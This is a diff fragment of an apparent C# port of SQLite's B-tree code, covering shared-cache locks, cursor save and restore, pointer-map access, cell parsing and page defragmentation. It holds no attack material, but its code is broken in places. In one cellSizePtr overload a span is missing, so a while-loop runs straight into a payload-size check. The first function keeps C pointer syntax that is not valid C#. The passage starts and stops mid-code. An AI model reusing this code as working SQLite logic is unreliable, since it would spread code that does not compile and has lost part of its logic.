BtShared.isPending variable +** may be incorrectly cleared. +*/ +static void clearAllSharedCacheTableLocks(Btree p){ +BtShared pBt = p.pBt; +BtLock **ppIter = &pBt.pLock; + +Debug.Assert( sqlite3BtreeHoldsMutex(p) ); +Debug.Assert( p.sharable || 0==*ppIter ); +Debug.Assert( p.inTrans>0 ); + +while( ppIter ){ +BtLock pLock = ppIter; +Debug.Assert( pBt.isExclusive==null || pBt.pWriter==pLock.pBtree ); +Debug.Assert( pLock.pBtree.inTrans>=pLock.eLock ); +if( pLock.pBtree==p ){ +ppIter = pLock.pNext; +//Debug.Assert( pLock.iTable!=1 || pLock==&p.lock ); +if( pLock.iTable!=1 ){ +pLock=null;//sqlite3_free(ref pLock); +} +}else{ +ppIter = &pLock.pNext; +} +} + +Debug.Assert( pBt.isPending==null || pBt.pWriter ); +if( pBt.pWriter==p ){ +pBt.pWriter = 0; +pBt.isExclusive = 0; +pBt.isPending = 0; +}else if( pBt.nTransaction==2 ){ +/* This function is called when Btree p is concluding its +** transaction. If there currently exists a writer, and p is not +** that writer, then the number of locks held by connections other +** than the writer must be about to drop to zero. In this case +** set the isPending flag to 0. +** +** If there is not currently a writer, then BtShared.isPending must +** be zero already. So this next line is harmless in that case. +*/ +pBt.isPending = 0; +} +} + +/* +** This function changes all write-locks held by Btree p into read-locks. +*/ +static void downgradeAllSharedCacheTableLocks(Btree p){ +BtShared pBt = p.pBt; +if( pBt.pWriter==p ){ +BtLock pLock; +pBt.pWriter = 0; +pBt.isExclusive = 0; +pBt.isPending = 0; +for(pLock=pBt.pLock; pLock; pLock=pLock.pNext){ +Debug.Assert( pLock.eLock==READ_LOCK || pLock.pBtree==p ); +pLock.eLock = READ_LOCK; +} +} +} + +#endif //* SQLITE_OMIT_SHARED_CACHE */ + +//static void releasePage(MemPage pPage); /* Forward reference */ + +/* +***** This routine is used inside of assert() only **** +** +** Verify that the cursor holds the mutex on its BtShared +*/ +#if SQLITE_DEBUG +static bool cursorHoldsMutex( BtCursor p ) +{ + return sqlite3_mutex_held( p.pBt.mutex ); +} +#else +static bool cursorHoldsMutex(BtCursor p) { return true; } +#endif + + +#if NOT_SQLITE_OMIT_INCRBLOB //#if !SQLITE_OMIT_INCRBLOB +/* +** Invalidate the overflow page-list cache for cursor pCur, if any. +*/ +static void invalidateOverflowCache(BtCursor pCur){ +Debug.Assert( cursorHoldsMutex(pCur) ); +//sqlite3_free(ref pCur.aOverflow); +pCur.aOverflow = null; +} + +/* +** Invalidate the overflow page-list cache for all cursors opened +** on the shared btree structure pBt. +*/ +static void invalidateAllOverflowCache(BtShared pBt){ +BtCursor p; +Debug.Assert( sqlite3_mutex_held(pBt.mutex) ); +for(p=pBt.pCursor; p!=null; p=p.pNext){ +invalidateOverflowCache(p); +} +} + +/* +** This function is called before modifying the contents of a table +** to invalidate any incrblob cursors that are open on the +** row or one of the rows being modified. +** +** If argument isClearTable is true, then the entire contents of the +** table is about to be deleted. In this case invalidate all incrblob +** cursors open on any row within the table with root-page pgnoRoot. +** +** Otherwise, if argument isClearTable is false, then the row with +** rowid iRow is being replaced or deleted. In this case invalidate +** only those incrblob cursors open on that specific row. +*/ +static void invalidateIncrblobCursors( +Btree pBtree, /* The database file to check */ +i64 iRow, /* The rowid that might be changing */ +int isClearTable /* True if all rows are being deleted */ +){ +BtCursor p; +BtShared pBt = pBtree.pBt; +Debug.Assert( sqlite3BtreeHoldsMutex(pBtree) ); +for(p=pBt.pCursor; p!=null; p=p.pNext){ +if( p.isIncrblobHandle && (isClearTable || p.info.nKey==iRow) ){ +p.eState = CURSOR_INVALID; +} +} +} + +#else +/* Stub functions when INCRBLOB is omitted */ +//#define invalidateOverflowCache(x) +static void invalidateOverflowCache( BtCursor pCur ) +{ +} +//#define invalidateAllOverflowCache(x) +static void invalidateAllOverflowCache( BtShared pBt ) +{ +} +//#define invalidateIncrblobCursors(x,y,z) +static void invalidateIncrblobCursors( Btree x, i64 y, int z ) +{ +} +#endif //* SQLITE_OMIT_INCRBLOB */ + +/* +** Set bit pgno of the BtShared.pHasContent bitvec. This is called +** when a page that previously contained data becomes a free-list leaf +** page. +** +** The BtShared.pHasContent bitvec exists to work around an obscure +** bug caused by the interaction of two useful IO optimizations surrounding +** free-list leaf pages: +** +** 1) When all data is deleted from a page and the page becomes +** a free-list leaf page, the page is not written to the database +** (as free-list leaf pages contain no meaningful data). Sometimes +** such a page is not even journalled (as it will not be modified, +** why bother journalling it?). +** +** 2) When a free-list leaf page is reused, its content is not read +** from the database or written to the journal file (why should it +** be, if it is not at all meaningful?). +** +** By themselves, these optimizations work fine and provide a handy +** performance boost to bulk delete or insert operations. However, if +** a page is moved to the free-list and then reused within the same +** transaction, a problem comes up. If the page is not journalled when +** it is moved to the free-list and it is also not journalled when it +** is extracted from the free-list and reused, then the original data +** may be lost. In the event of a rollback, it may not be possible +** to restore the database to its original configuration. +** +** The solution is the BtShared.pHasContent bitvec. Whenever a page is +** moved to become a free-list leaf page, the corresponding bit is +** set in the bitvec. Whenever a leaf page is extracted from the free-list, +** optimization 2 above is omitted if the corresponding bit is already +** set in BtShared.pHasContent. The contents of the bitvec are cleared +** at the end of every transaction. +*/ +static int btreeSetHasContent( BtShared pBt, Pgno pgno ) +{ + int rc = SQLITE_OK; + if ( null == pBt.pHasContent ) + { + Debug.Assert( pgno <= pBt.nPage ); + pBt.pHasContent = sqlite3BitvecCreate( pBt.nPage ); + //if ( null == pBt.pHasContent ) + //{ + // rc = SQLITE_NOMEM; + //} + } + if ( rc == SQLITE_OK && pgno <= sqlite3BitvecSize( pBt.pHasContent ) ) + { + rc = sqlite3BitvecSet( pBt.pHasContent, pgno ); + } + return rc; +} + +/* +** Query the BtShared.pHasContent vector. +** +** This function is called when a free-list leaf page is removed from the +** free-list for reuse. It returns false if it is safe to retrieve the +** page from the pager layer with the 'no-content' flag set. True otherwise. +*/ +static bool btreeGetHasContent( BtShared pBt, Pgno pgno ) +{ + Bitvec p = pBt.pHasContent; + return ( p != null && ( pgno > sqlite3BitvecSize( p ) || sqlite3BitvecTest( p, pgno ) != 0 ) ); +} + +/* +** Clear (destroy) the BtShared.pHasContent bitvec. This should be +** invoked at the conclusion of each write-transaction. +*/ +static void btreeClearHasContent( BtShared pBt ) +{ + sqlite3BitvecDestroy( ref pBt.pHasContent ); + pBt.pHasContent = null; +} + +/* +** Save the current cursor position in the variables BtCursor.nKey +** and BtCursor.pKey. The cursor's state is set to CURSOR_REQUIRESEEK. +** +** The caller must ensure that the cursor is valid (has eState==CURSOR_VALID) +** prior to calling this routine. +*/ +static int saveCursorPosition( BtCursor pCur ) +{ + int rc; + + Debug.Assert( CURSOR_VALID == pCur.eState ); + Debug.Assert( null == pCur.pKey ); + Debug.Assert( cursorHoldsMutex( pCur ) ); + + rc = sqlite3BtreeKeySize( pCur, ref pCur.nKey ); + Debug.Assert( rc == SQLITE_OK ); /* KeySize() cannot fail */ + + /* If this is an intKey table, then the above call to BtreeKeySize() + ** stores the integer key in pCur.nKey. In this case this value is + ** all that is required. Otherwise, if pCur is not open on an intKey + ** table, then malloc space for and store the pCur.nKey bytes of key + ** data. + */ + if ( 0 == pCur.apPage[0].intKey ) + { + byte[] pKey = sqlite3Malloc( (int)pCur.nKey ); + //if( pKey !=null){ + rc = sqlite3BtreeKey( pCur, 0, (u32)pCur.nKey, pKey ); + if ( rc == SQLITE_OK ) + { + pCur.pKey = pKey; + } + //else{ + // sqlite3_free(ref pKey); + //} + //}else{ + // rc = SQLITE_NOMEM; + //} + } + Debug.Assert( 0 == pCur.apPage[0].intKey || null == pCur.pKey ); + + if ( rc == SQLITE_OK ) + { + int i; + for ( i = 0; i <= pCur.iPage; i++ ) + { + releasePage( pCur.apPage[i] ); + pCur.apPage[i] = null; + } + pCur.iPage = -1; + pCur.eState = CURSOR_REQUIRESEEK; + } + + invalidateOverflowCache( pCur ); + return rc; +} + +/* +** Save the positions of all cursors (except pExcept) that are open on +** the table with root-page iRoot. Usually, this is called just before cursor +** pExcept is used to modify the table (BtreeDelete() or BtreeInsert()). +*/ +static int saveAllCursors( BtShared pBt, Pgno iRoot, BtCursor pExcept ) +{ + BtCursor p; + Debug.Assert( sqlite3_mutex_held( pBt.mutex ) ); + Debug.Assert( pExcept == null || pExcept.pBt == pBt ); + for ( p = pBt.pCursor; p != null; p = p.pNext ) + { + if ( p != pExcept && ( 0 == iRoot || p.pgnoRoot == iRoot ) && + p.eState == CURSOR_VALID ) + { + int rc = saveCursorPosition( p ); + if ( SQLITE_OK != rc ) + { + return rc; + } + } + } + return SQLITE_OK; +} + +/* +** Clear the current cursor position. +*/ +static void sqlite3BtreeClearCursor( BtCursor pCur ) +{ + Debug.Assert( cursorHoldsMutex( pCur ) ); + sqlite3_free( ref pCur.pKey ); + pCur.eState = CURSOR_INVALID; +} + +/* +** In this version of BtreeMoveto, pKey is a packed index record +** such as is generated by the OP_MakeRecord opcode. Unpack the +** record and then call BtreeMovetoUnpacked() to do the work. +*/ +static int btreeMoveto( +BtCursor pCur, /* Cursor open on the btree to be searched */ +byte[] pKey, /* Packed key if the btree is an index */ +i64 nKey, /* Integer key for tables. Size of pKey for indices */ +int bias, /* Bias search to the high end */ +ref int pRes /* Write search results here */ +) +{ + int rc; /* Status code */ + UnpackedRecord pIdxKey; /* Unpacked index key */ + UnpackedRecord aSpace = new UnpackedRecord();//char aSpace[150]; /* Temp space for pIdxKey - to avoid a malloc */ + + if ( pKey != null ) + { + Debug.Assert( nKey == (i64)(int)nKey ); + pIdxKey = sqlite3VdbeRecordUnpack( pCur.pKeyInfo, (int)nKey, pKey, + aSpace, 16 );//sizeof( aSpace ) ); + //if ( pIdxKey == null ) + // return SQLITE_NOMEM; + } + else + { + pIdxKey = null; + } + rc = sqlite3BtreeMovetoUnpacked( pCur, pIdxKey, nKey, bias != 0 ? 1 : 0, ref pRes ); + + if ( pKey != null ) + { + sqlite3VdbeDeleteUnpackedRecord( pIdxKey ); + } + return rc; +} + +/* +** Restore the cursor to the position it was in (or as close to as possible) +** when saveCursorPosition() was called. Note that this call deletes the +** saved position info stored by saveCursorPosition(), so there can be +** at most one effective restoreCursorPosition() call after each +** saveCursorPosition(). +*/ +static int btreeRestoreCursorPosition( BtCursor pCur ) +{ + int rc; + Debug.Assert( cursorHoldsMutex( pCur ) ); + Debug.Assert( pCur.eState >= CURSOR_REQUIRESEEK ); + if ( pCur.eState == CURSOR_FAULT ) + { + return pCur.skipNext; + } + pCur.eState = CURSOR_INVALID; + rc = btreeMoveto( pCur, pCur.pKey, pCur.nKey, 0, ref pCur.skipNext ); + if ( rc == SQLITE_OK ) + { + //sqlite3_free(ref pCur.pKey); + pCur.pKey = null; + Debug.Assert( pCur.eState == CURSOR_VALID || pCur.eState == CURSOR_INVALID ); + } + return rc; +} + +//#define restoreCursorPosition(p) \ +// (p.eState>=CURSOR_REQUIRESEEK ? \ +// btreeRestoreCursorPosition(p) : \ +// SQLITE_OK) +static int restoreCursorPosition( BtCursor pCur ) +{ + if ( pCur.eState >= CURSOR_REQUIRESEEK ) + return btreeRestoreCursorPosition( pCur ); + else + return SQLITE_OK; +} + +/* +** Determine whether or not a cursor has moved from the position it +** was last placed at. Cursors can move when the row they are pointing +** at is deleted out from under them. +** +** This routine returns an error code if something goes wrong. The +** integer pHasMoved is set to one if the cursor has moved and 0 if not. +*/ +static int sqlite3BtreeCursorHasMoved( BtCursor pCur, ref int pHasMoved ) +{ + int rc; + + rc = restoreCursorPosition( pCur ); + if ( rc != 0 ) + { + pHasMoved = 1; + return rc; + } + if ( pCur.eState != CURSOR_VALID || pCur.skipNext != 0 ) + { + pHasMoved = 1; + } + else + { + pHasMoved = 0; + } + return SQLITE_OK; +} + +#if !SQLITE_OMIT_AUTOVACUUM +/* +** Given a page number of a regular database page, return the page +** number for the pointer-map page that contains the entry for the +** input page number. +** +** Return 0 (not a valid page) for pgno==1 since there is +** no pointer map associated with page 1. The integrity_check logic +** requires that ptrmapPageno(*,1)!=1. +*/ +static Pgno ptrmapPageno( BtShared pBt, Pgno pgno ) +{ + int nPagesPerMapPage; + Pgno iPtrMap, ret; + Debug.Assert( sqlite3_mutex_held( pBt.mutex ) ); + if ( pgno < 2 ) + return 0; + nPagesPerMapPage = (int)( pBt.usableSize / 5 + 1 ); + iPtrMap = (Pgno)( ( pgno - 2 ) / nPagesPerMapPage ); + ret = (Pgno)( iPtrMap * nPagesPerMapPage ) + 2; + if ( ret == PENDING_BYTE_PAGE( pBt ) ) + { + ret++; + } + return ret; +} + +/* +** Write an entry into the pointer map. +** +** This routine updates the pointer map entry for page number 'key' +** so that it maps to type 'eType' and parent page number 'pgno'. +** +** If pRC is initially non-zero (non-SQLITE_OK) then this routine is +** a no-op. If an error occurs, the appropriate error code is written +** into pRC. +*/ +static void ptrmapPut( BtShared pBt, Pgno key, u8 eType, Pgno parent, ref int pRC ) +{ + PgHdr pDbPage = new PgHdr(); /* The pointer map page */ + u8[] pPtrmap; /* The pointer map data */ + Pgno iPtrmap; /* The pointer map page number */ + int offset; /* Offset in pointer map page */ + int rc; /* Return code from subfunctions */ + + if ( pRC != 0 ) + return; + + Debug.Assert( sqlite3_mutex_held( pBt.mutex ) ); + /* The master-journal page number must never be used as a pointer map page */ + Debug.Assert( false == PTRMAP_ISPAGE( pBt, PENDING_BYTE_PAGE( pBt ) ) ); + + Debug.Assert( pBt.autoVacuum ); + if ( key == 0 ) + { + pRC = SQLITE_CORRUPT_BKPT(); + return; + } + iPtrmap = PTRMAP_PAGENO( pBt, key ); + rc = sqlite3PagerGet( pBt.pPager, iPtrmap, ref pDbPage ); + if ( rc != SQLITE_OK ) + { + pRC = rc; + return; + } + offset = (int)PTRMAP_PTROFFSET( iPtrmap, key ); + if ( offset < 0 ) + { + pRC = SQLITE_CORRUPT_BKPT(); + goto ptrmap_exit; + } + Debug.Assert( offset <= (int)pBt.usableSize - 5 ); + pPtrmap = sqlite3PagerGetData( pDbPage ); + + if ( eType != pPtrmap[offset] || sqlite3Get4byte( pPtrmap, offset + 1 ) != parent ) + { + TRACE( "PTRMAP_UPDATE: %d->(%d,%d)\n", key, eType, parent ); + pRC = rc = sqlite3PagerWrite( pDbPage ); + if ( rc == SQLITE_OK ) + { + pPtrmap[offset] = eType; + sqlite3Put4byte( pPtrmap, offset + 1, parent ); + } + } + +ptrmap_exit: + sqlite3PagerUnref( pDbPage ); +} + +/* +** Read an entry from the pointer map. +** +** This routine retrieves the pointer map entry for page 'key', writing +** the type and parent page number to pEType and pPgno respectively. +** An error code is returned if something goes wrong, otherwise SQLITE_OK. +*/ +static int ptrmapGet( BtShared pBt, Pgno key, ref u8 pEType, ref Pgno pPgno ) +{ + PgHdr pDbPage = new PgHdr();/* The pointer map page */ + int iPtrmap; /* Pointer map page index */ + u8[] pPtrmap; /* Pointer map page data */ + int offset; /* Offset of entry in pointer map */ + int rc; + + Debug.Assert( sqlite3_mutex_held( pBt.mutex ) ); + + iPtrmap = (int)PTRMAP_PAGENO( pBt, key ); + rc = sqlite3PagerGet( pBt.pPager, (u32)iPtrmap, ref pDbPage ); + if ( rc != 0 ) + { + return rc; + } + pPtrmap = sqlite3PagerGetData( pDbPage ); + + offset = (int)PTRMAP_PTROFFSET( (u32)iPtrmap, key ); + if ( offset < 0 ) + { + sqlite3PagerUnref( pDbPage ); + return SQLITE_CORRUPT_BKPT(); + } + Debug.Assert( offset <= (int)pBt.usableSize - 5 ); + // Under C# pEType will always exist. No need to test; // + //Debug.Assert( pEType != 0 ); + pEType = pPtrmap[offset]; + // Under C# pPgno will always exist. No need to test; // + //if ( pPgno != 0 ) + pPgno = sqlite3Get4byte( pPtrmap, offset + 1 ); + + sqlite3PagerUnref( pDbPage ); + if ( pEType < 1 || pEType > 5 ) + return SQLITE_CORRUPT_BKPT(); + return SQLITE_OK; +} + +#else //* if defined SQLITE_OMIT_AUTOVACUUM */ +//#define ptrmapPut(w,x,y,z,rc) +//#define ptrmapGet(w,x,y,z) SQLITE_OK +//#define ptrmapPutOvflPtr(x, y, rc) +#endif + +/* +** Given a btree page and a cell index (0 means the first cell on +** the page, 1 means the second cell, and so forth) return a pointer +** to the cell content. +** +** This routine works only for pages that do not contain overflow cells. +*/ +//#define findCell(P,I) \ +// ((P).aData + ((P).maskPage & get2byte((P).aData[(P).cellOffset+2*(I)]))) +static int findCell( MemPage pPage, int iCell ) +{ + return get2byte( pPage.aData, pPage.cellOffset + 2 * ( iCell ) ); +} + +//#define findCellv2(D,M,O,I) (D+(M&get2byte(D+(O+2*(I))))) +static u8[] findCellv2( u8[] pPage, u16 iCell, u16 O, int I ) +{ + Debugger.Break(); + return pPage; +} + + +/* +** This a more complex version of findCell() that works for +** pages that do contain overflow cells. +*/ +static int findOverflowCell( MemPage pPage, int iCell ) +{ + int i; + Debug.Assert( sqlite3_mutex_held( pPage.pBt.mutex ) ); + for ( i = pPage.nOverflow - 1; i >= 0; i-- ) + { + int k; + _OvflCell pOvfl; + pOvfl = pPage.aOvfl[i]; + k = pOvfl.idx; + if ( k <= iCell ) + { + if ( k == iCell ) + { + //return pOvfl.pCell; + return -i - 1; // Negative Offset means overflow cells + } + iCell--; + } + } + return findCell( pPage, iCell ); +} + +/* +** Parse a cell content block and fill in the CellInfo structure. There +** are two versions of this function. btreeParseCell() takes a +** cell index as the second argument and btreeParseCellPtr() +** takes a pointer to the body of the cell as its second argument. +** +** Within this file, the parseCell() macro can be called instead of +** btreeParseCellPtr(). Using some compilers, this will be faster. +*/ +//OVERLOADS +static void btreeParseCellPtr( +MemPage pPage, /* Page containing the cell */ +int iCell, /* Pointer to the cell text. */ +ref CellInfo pInfo /* Fill in this structure */ +) +{ + btreeParseCellPtr( pPage, pPage.aData, iCell, ref pInfo ); +} +static void btreeParseCellPtr( +MemPage pPage, /* Page containing the cell */ +byte[] pCell, /* The actual data */ +ref CellInfo pInfo /* Fill in this structure */ +) +{ + btreeParseCellPtr( pPage, pCell, 0, ref pInfo ); +} +static void btreeParseCellPtr( +MemPage pPage, /* Page containing the cell */ +u8[] pCell, /* Pointer to the cell text. */ +int iCell, /* Pointer to the cell text. */ +ref CellInfo pInfo /* Fill in this structure */ +) +{ + u16 n; /* Number bytes in cell content header */ + u32 nPayload = 0; /* Number of bytes of cell payload */ + + Debug.Assert( sqlite3_mutex_held( pPage.pBt.mutex ) ); + + if ( pInfo.pCell != pCell ) + pInfo.pCell = pCell; + pInfo.iCell = iCell; + Debug.Assert( pPage.leaf == 0 || pPage.leaf == 1 ); + n = pPage.childPtrSize; + Debug.Assert( n == 4 - 4 * pPage.leaf ); + if ( pPage.intKey != 0 ) + { + if ( pPage.hasData != 0 ) + { + n += (u16)getVarint32( pCell, iCell + n, out nPayload ); + } + else + { + nPayload = 0; + } + n += (u16)getVarint( pCell, iCell + n, out pInfo.nKey ); + pInfo.nData = nPayload; + } + else + { + pInfo.nData = 0; + n += (u16)getVarint32( pCell, iCell + n, out nPayload ); + pInfo.nKey = nPayload; + } + pInfo.nPayload = nPayload; + pInfo.nHeader = n; + testcase( nPayload == pPage.maxLocal ); + testcase( nPayload == pPage.maxLocal + 1 ); + if ( likely( nPayload <= pPage.maxLocal ) ) + { + /* This is the (easy) common case where the entire payload fits + ** on the local page. No overflow is required. + */ + if ( ( pInfo.nSize = (u16)( n + nPayload ) ) < 4 ) + pInfo.nSize = 4; + pInfo.nLocal = (u16)nPayload; + pInfo.iOverflow = 0; + } + else + { + /* If the payload will not fit completely on the local page, we have + ** to decide how much to store locally and how much to spill onto + ** overflow pages. The strategy is to minimize the amount of unused + ** space on overflow pages while keeping the amount of local storage + ** in between minLocal and maxLocal. + ** + ** Warning: changing the way overflow payload is distributed in any + ** way will result in an incompatible file format. + */ + int minLocal; /* Minimum amount of payload held locally */ + int maxLocal; /* Maximum amount of payload held locally */ + int surplus; /* Overflow payload available for local storage */ + + minLocal = pPage.minLocal; + maxLocal = pPage.maxLocal; + surplus = (int)( minLocal + ( nPayload - minLocal ) % ( pPage.pBt.usableSize - 4 ) ); + testcase( surplus == maxLocal ); + testcase( surplus == maxLocal + 1 ); + if ( surplus <= maxLocal ) + { + pInfo.nLocal = (u16)surplus; + } + else + { + pInfo.nLocal = (u16)minLocal; + } + pInfo.iOverflow = (u16)( pInfo.nLocal + n ); + pInfo.nSize = (u16)( pInfo.iOverflow + 4 ); + } +} +//#define parseCell(pPage, iCell, pInfo) \ +// btreeParseCellPtr((pPage), findCell((pPage), (iCell)), (pInfo)) +static void parseCell( MemPage pPage, int iCell, ref CellInfo pInfo ) +{ + btreeParseCellPtr( pPage, findCell( pPage, iCell ), ref pInfo ); +} + +static void btreeParseCell( +MemPage pPage, /* Page containing the cell */ +int iCell, /* The cell index. First cell is 0 */ +ref CellInfo pInfo /* Fill in this structure */ +) +{ + parseCell( pPage, iCell, ref pInfo ); +} + +/* +** Compute the total number of bytes that a Cell needs in the cell +** data area of the btree-page. The return number includes the cell +** data header and the local payload, but not any overflow page or +** the space used by the cell pointer. +*/ +// Alternative form for C# +static u16 cellSizePtr( MemPage pPage, int iCell ) +{ + CellInfo info = new CellInfo(); + byte[] pCell = new byte[13]; + // Minimum Size = (2 bytes of Header or (4) Child Pointer) + (maximum of) 9 bytes data + if ( iCell < 0 )// Overflow Cell + Buffer.BlockCopy( pPage.aOvfl[-( iCell + 1 )].pCell, 0, pCell, 0, pCell.Length < pPage.aOvfl[-( iCell + 1 )].pCell.Length ? pCell.Length : pPage.aOvfl[-( iCell + 1 )].pCell.Length ); + else if ( iCell >= pPage.aData.Length + 1 - pCell.Length ) + Buffer.BlockCopy( pPage.aData, iCell, pCell, 0, pPage.aData.Length - iCell ); + else + Buffer.BlockCopy( pPage.aData, iCell, pCell, 0, pCell.Length ); + btreeParseCellPtr( pPage, pCell, ref info ); + return info.nSize; +} + +// Alternative form for C# +static u16 cellSizePtr( MemPage pPage, byte[] pCell, int offset ) +{ + CellInfo info = new CellInfo(); + info.pCell = sqlite3Malloc( pCell.Length ); + Buffer.BlockCopy( pCell, offset, info.pCell, 0, pCell.Length - offset ); + btreeParseCellPtr( pPage, info.pCell, ref info ); + return info.nSize; +} + +static u16 cellSizePtr( MemPage pPage, u8[] pCell ) +{ + int _pIter = pPage.childPtrSize; //u8 pIter = &pCell[pPage.childPtrSize]; + u32 nSize = 0; + +#if SQLITE_DEBUG || DEBUG + /* The value returned by this function should always be the same as +** the (CellInfo.nSize) value found by doing a full parse of the +** cell. If SQLITE_DEBUG is defined, an Debug.Assert() at the bottom of +** this function verifies that this invariant is not violated. */ + CellInfo debuginfo = new CellInfo(); + btreeParseCellPtr( pPage, pCell, ref debuginfo ); +#else +CellInfo debuginfo = new CellInfo(); +#endif + + if ( pPage.intKey != 0 ) + { + int pEnd; + if ( pPage.hasData != 0 ) + { + _pIter += getVarint32( pCell, out nSize );// pIter += getVarint32( pIter, out nSize ); + } + else + { + nSize = 0; + } + + /* pIter now points at the 64-bit integer key value, a variable length + ** integer. The following block moves pIter to point at the first byte + ** past the end of the key value. */ + pEnd = _pIter + 9;//pEnd = &pIter[9]; + while ( ( ( pCell[_pIter++] ) & 0x80 ) != 0 && _pIter < pEnd ) + ;//while( (pIter++)&0x80 && pIter pPage.maxLocal ) + { + int minLocal = pPage.minLocal; + nSize = (u32)( minLocal + ( nSize - minLocal ) % ( pPage.pBt.usableSize - 4 ) ); + testcase( nSize == pPage.maxLocal ); + testcase( nSize == pPage.maxLocal + 1 ); + if ( nSize > pPage.maxLocal ) + { + nSize = (u32)minLocal; + } + nSize += 4; + } + nSize += (uint)_pIter;//nSize += (u32)(pIter - pCell); + + /* The minimum size of any cell is 4 bytes. */ + if ( nSize < 4 ) + { + nSize = 4; + } + + Debug.Assert( nSize == debuginfo.nSize ); + return (u16)nSize; +} + +#if SQLITE_DEBUG +/* This variation on cellSizePtr() is used inside of assert() statements +** only. */ +static u16 cellSize( MemPage pPage, int iCell ) +{ + return cellSizePtr( pPage, findCell( pPage, iCell ) ); +} +#else +static int cellSize(MemPage pPage, int iCell) { return -1; } +#endif + +#if !SQLITE_OMIT_AUTOVACUUM +/* +** If the cell pCell, part of page pPage contains a pointer +** to an overflow page, insert an entry into the pointer-map +** for the overflow page. +*/ +static void ptrmapPutOvflPtr( MemPage pPage, int pCell, ref int pRC ) +{ + if ( pRC != 0 ) + return; + CellInfo info = new CellInfo(); + Debug.Assert( pCell != 0 ); + btreeParseCellPtr( pPage, pCell, ref info ); + Debug.Assert( ( info.nData + ( pPage.intKey != 0 ? 0 : info.nKey ) ) == info.nPayload ); + if ( info.iOverflow != 0 ) + { + Pgno ovfl = sqlite3Get4byte( pPage.aData, pCell, info.iOverflow ); + ptrmapPut( pPage.pBt, ovfl, PTRMAP_OVERFLOW1, pPage.pgno, ref pRC ); + } +} + +static void ptrmapPutOvflPtr( MemPage pPage, u8[] pCell, ref int pRC ) +{ + if ( pRC != 0 ) + return; + CellInfo info = new CellInfo(); + Debug.Assert( pCell != null ); + btreeParseCellPtr( pPage, pCell, ref info ); + Debug.Assert( ( info.nData + ( pPage.intKey != 0 ? 0 : info.nKey ) ) == info.nPayload ); + if ( info.iOverflow != 0 ) + { + Pgno ovfl = sqlite3Get4byte( pCell, info.iOverflow ); + ptrmapPut( pPage.pBt, ovfl, PTRMAP_OVERFLOW1, pPage.pgno, ref pRC ); + } +} +#endif + + +/* +** Defragment the page given. All Cells are moved to the +** end of the page and all free space is collected into one +** big FreeBlk that occurs in between the header and cell +** pointer array and the cell content area. +*/ +static int defragmentPage( MemPage pPage ) +{ + int i; /* Loop counter */ + int pc; /* Address of a i-th cell */ + int addr; /* Offset of first byte after cell pointer array */ + int hdr; /* Offset to the page header */ + int size; /* Size of a cell */ + int usableSize; /* Number of usable bytes on a page */ + int cellOffset; /* Offset to the cell pointer array */ + int cbrk; /* Offset to the cell content area */ + int nCell; /* Number of cells on the page */ + byte[] data; /* The page data */ + byte[] temp; /* Temp area for cell content */ + int iCellFirst; /* First allowable cell index */ + int iCellLast; /* Last possible cell index */ + + + Debug.Assert( sqlite3PagerIswriteable( pPage.pDbPage ) ); + Debug.Assert( pPage.pBt != null ); + Debug.Assert( pPage.pBt.usableSize <= SQLITE_MAX_PAGE_SIZE ); + Debug.Assert( pPage.nOverflow == 0 ); + Debug.Assert( sqlite3_mutex_held( pPage.pBt.mutex ) ); + temp = sqlite3PagerTempSpace( pPage.pBt.pPager ); + data = pPage.aData; + hdr = pPage.hdrOffset; + cellOffset = pPage.cellOffset; + nCell = pPage.nCell; + Debug.Assert( nCell == get2byte( data, hdr + 3 ) ); + usableSize = (int)pPage.pBt.usableSize; + cbrk = get2byte( data, hdr + 5 ); + Buffer.BlockCopy( data, cbrk, temp, cbrk, usableSize - cbrk );//memcpy( temp[cbrk], ref data[cbrk], usableSize - cbrk ); + cbrk = usableSize; + iCellFirst = cellOffset + 2 * nCell; + iCellLast = usableSize - 4; + for ( i = 0; i < nCell; i++ ) + { + int pAddr; /* The i-th cell pointer */ + pAddr = cellOffset + i * 2; // &data[cellOffset + i * 2]; + pc = get2byte( data, pAddr ); + testcase( pc == iCellFirst ); + testcase( pc == iCellLast ); +#if !(SQLITE_ENABLE_OVERSIZE_CELL_CHECK) + /* These conditions have already been verified in btreeInitPage() +** if SQLITE_ENABLE_OVERSIZE_CELL_CHECK is defined +*/ + if ( pc < iCellFirst || pc > iCellLast ) + { + return SQLITE_CORRUPT_BKPT(); + } +#endif + Debug.Assert( pc >= iCellFirst && pc <= iCellLast ); + size = cellSizePtr( pPage, temp, pc ); + cbrk -= size; +#if (SQLITE_ENABLE_OVERSIZE_CELL_CHECK) + if ( cbrk < iCellFirst || pc + size > usableSize ) + { + return SQLITE_CORRUPT_BKPT(); + } +#else + if ( cbrk < iCellFirst || pc + size > usableSize ) + { + return SQLITE_CORRUPT_BKPT(); + } +#endif + Debug.Assert( cbrk + size <= usableSize && cbrk >= iCellFirst ); + testcase( cbrk + size == usableSize ); + testcase( pc + size == usableSize ); + Buffer.BlockCopy( temp, pc, data, cbrk, size );//memcpy(data[cbrk], ref temp[pc], size); + put2byte( data, pAddr, cbrk ); + } + Debug.Assert( cbrk >= iCellFirst ); + put2byte( data, hdr + 5, cbrk ); + data[hdr + 1] = 0; + data[hdr + 2] = 0; + data[hdr + 7] = 0; + addr = cellOffset + 2 * nCell; + Array.Clear( data, addr, cbrk - addr ); //memset(data[iCellFirst], 0, cbrk-iCellFirst); + Debug.Assert( sqlite3PagerIswriteable( pPage.pDbPage ) ); + if ( cbrk - iCellFirst != pPage.nFree ) + { + return SQLITE_CORRUPT_BKPT(); + } + return SQLITE_OK; +} + +/* +** Allocate nByte bytes of space from within the B-Tree page passed +** as the first argument. Write into pIdx the index into pPage.aData[] +** of the first byte of allocated space. Return either SQLITE_OK or +** an error code (usually SQLITE_CORRUPT). +** +** The caller guarantees that there is sufficient space to make the +** allocation. This routine might need to defragment in order to bring +** all the space together, however. This routine will avoid using +** the first two bytes past the cell pointer area since presumably this +** allocation is being made in order to insert a new cell, so we will +** also end up needing a new cell pointer. +*/ +static int allocateSpace( MemPage pPage, int nByte, ref int pIdx ) +{ + int hdr = pPage.hdrOffset; /* Local cache of pPage.hdrOffset */ + u8[] data = pPage.aData; /* Local cache of pPage.aData */ + int nFrag; /* Number of fragmented bytes on pPage */ + int top; /* First byte of cell content area */ + int gap; /* First byte of gap between cell pointers and cell content */ + int rc; /* Integer return code */ + u32 usableSize; /* Usable size of the page */ + + Debug.Assert( sqlite3PagerIswriteable( pPage.pDbPage ) ); + Debug.Assert( pPage.pBt != null ); + Debug.Assert( sqlite3_mutex_held( pPage.pBt.mutex ) ); + Debug.Assert( nByte >= 0 ); /* Minimum cell size is 4 */ + 